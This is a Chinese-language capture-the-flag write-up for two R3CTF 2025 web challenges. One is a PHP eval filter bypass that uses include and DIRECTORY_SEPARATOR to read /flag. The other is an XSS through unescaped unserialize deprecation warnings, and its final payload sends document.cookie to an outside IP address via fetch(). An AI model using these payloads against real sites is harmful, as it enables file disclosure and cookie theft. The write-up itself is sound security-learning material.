2025 R3CTF

文章目录

      • Evalgelist
      • [Silent Profit(复现)](#Silent Profit(复现))

Evalgelist

php 复制代码
<?php
        if (isset($_GET['input'])) {
            echo '<div class="output">';

            $filtered = str_replace(['$', '(', ')', '`', '"', "'", "+", ":", "/", "!", "?"], '', $_GET['input']);
            $cmd = $filtered . '();';
            
            echo '<strong>After Security Filtering:</strong> <span class="filtered">' . htmlspecialchars($cmd) . '</span>' . "\n\n";
            
            echo '<strong>Execution Result:</strong>' . "\n";
            echo '<div style="border-left: 3px solid #007bff; padding-left: 15px; margin-left: 10px;">';
            
            try {
                ob_start();
                eval($cmd);
                $result = ob_get_clean();
                
                if (!empty($result)) {
                    echo '<span class="success">✅ Function executed successfully!</span>' . "\n";
                    echo htmlspecialchars($result);
                } else {
                    echo '<span class="success">✅ Function executed (no output)</span>';
                }
            } catch (Error $e) {
                echo '<span class="error">❌ Error: ' . htmlspecialchars($e->getMessage()) . '</span>';
            } catch (Exception $e) {
                echo '<span class="error">❌ Exception: ' . htmlspecialchars($e->getMessage()) . '</span>';
            }
            
            echo '</div>';
            echo '</div>';
        }
        ?>

没有过滤;, 可以执行多条语句

在php中,未被双引号包裹的字符串会被定义为常量,若是找不到这个常量就会被自动转化成字符串

include在包含文件的时候会查找include_path 环境变量中的路径,一般就是 .:/usr/local/lib/php
. -> 当前目录 , /usr/local/lib/php ->系统 PEAR 库路径

所以可以通过include 文件名;die 来读取当前目录的文件

比如我在当前目录新建一个flag的文件,include flag就可以读取这个文件的内容,虽然会有警告,但是依然会往下执行

(如果文件里面符合php的语法,也会当成php文件进行执行)

因为没有引号包裹的原因,是无法读取像 index.php的这种文件的,这种文件会被当成两个字符串通过.进行拼接,也就是会去查找indexphp这个文件名

flag在/flag下,但是/被过滤了,无法直接include /flag读取文件

不过就算/没被过滤,好像也不能直接通过include /flag进行读取

所以就需要想办法拼接一个/flag

php中存在一个常量DIRECTORY_SEPARATOR可以表示/, 通过.进行拼接就可以得到/flag

构造payload:include DIRECTORY_SEPARATOR.flag;die

Silent Profit(复现)

bot.js

js 复制代码
const express = require('express');
const puppeteer = require('puppeteer');


const app = express();


app.use(express.urlencoded({ extended: false }));

const flag = process.env['FLAG'] ?? 'flag{test_flag}';
const PORT = process.env?.BOT_PORT || 31337;

app.post('/report', async (req, res) => {
  const { url } = req.body;

  if (!url || !url.startsWith('http://challenge/')) {
    return res.status(400).send('Invalid URL');
  }

  try {
    console.log(`[+] Visiting: ${url}`);
    const browser = await puppeteer.launch({
      headless: 'new',
      args: [
        '--no-sandbox',
        '--disable-setuid-sandbox',
      ]
    });

    await browser.setCookie({ name: 'flag', value: flag, domain: 'challenge' });
    const page = await browser.newPage();
    await page.goto(url, { waitUntil: 'networkidle2', timeout: 5000 });
    await page.waitForNetworkIdle({timeout: 5000})
    await browser.close();
    res.send('URL visited by bot!');
  } catch (err) {
    console.error(`[!] Error visiting URL:`, err);
    res.status(500).send('Bot error visiting URL');
  }
});

app.get('/', (req, res) => {
  res.send(`
    <h2>XSS Bot</h2>
    <form method="POST" action="/report">
      <input type="text" name="url" value="http://challenge/?data=..." style="width: 500px;" />
      <button type="submit">Submit</button>
    </form>
  `);
});

app.listen(PORT, () => {
  console.log(`XSS bot running at port ${PORT}`);
});

index.php

php 复制代码
<?php 
show_source(__FILE__);
unserialize($_GET['data']);

只有这两行代码去实现反序列化,想要实现xss的攻击,肯定是需要控制信息显示在浏览器上面

题目环境是php8.4 ,所以可能就是这个版本有关于unserialize函数的报错的相关修改

PHP 8.1 新引入的 enum 枚举序列化格式,传入一个enum 对象的错误格式,会发现可以控制部分报错信息显示到浏览器上面

试着传入一个xss的payload, 但是浏览器好像并没有解析,没有弹窗

因为常规的错误信息输出函数(如php_error_docref)会对输出进行HTML转义,所以无法直接触发XSS。

所以需要寻找一个在反序列化过程中触发的、且不会对输出进行HTML转义的错误

PHP 8.2 开始禁止动态创建类中未定义的属性,当尝试设置动态属性的时候就会触发一个弃用的警告,并且会显示出属性名

此警告通过 zend_error() 输出,不会进行 HTML 转义

这样我们就可以通过控制属性名来进行xss了

添加一个test类进行测试

反序列化时添加一个动态的属性aa,就会发现这个属性名被回显到里浏览器上面

将其替换成xss的payload,发现可以弹窗

那么只需要找一个php的内置类,并且是可序列化的,动态添加属性进行报错就行了

这样的类有很多,可以用Exception来构造

复制代码
O:9:"Exception":1:{s:25:"<script>alert(1)</script>";i:2;}

最终的payload:

复制代码
url=http://challenge/?data=O:9:"Exception":1:{s:74:"<script>fetch(`http://8.154.17.163:8080?flag=${document.cookie}`)</script>";i:2;}

参考文章

复制代码
https://baozongwi.xyz/2025/07/05/R3CTF2025/
https://qiita.com/singetu0096/items/65621ba135544e262518
相关推荐
OEC小胖胖5 小时前
前端框架状态管理对比:Redux、MobX、Vuex 等的优劣与选择
前端·前端框架·web
gyeolhada1 天前
Web: 基础知识、HTML、CSS、JavaScript(英文版--知识点学习/复习)
前端·javascript·css3·html5·web
ZZZKKKRTSAE1 天前
玩转rhel9 Apache
linux·运维·服务器·apache·web
诗人不说梦^2 天前
[网鼎杯 2020 朱雀组]phpweb
web·ctf
全干engineer3 天前
Flask 入门教程:用 Python 快速搭建你的第一个 Web 应用
后端·python·flask·web
hnlucky3 天前
《Nginx + 双Tomcat实战:域名解析、静态服务与反向代理、负载均衡全指南》
java·linux·服务器·前端·nginx·tomcat·web
hnlucky3 天前
同时部署两个不同版本的tomcat要如何配置环境变量
java·服务器·http·tomcat·web
码农12138号3 天前
BUUCTF在线评测-练习场-WebCTF习题[GYCTF2020]Blacklist1-flag获取、解析
web安全·网络安全·ctf·sql注入·handler·buuctf
LjQ20405 天前
Java的一课一得
java·开发语言·后端·web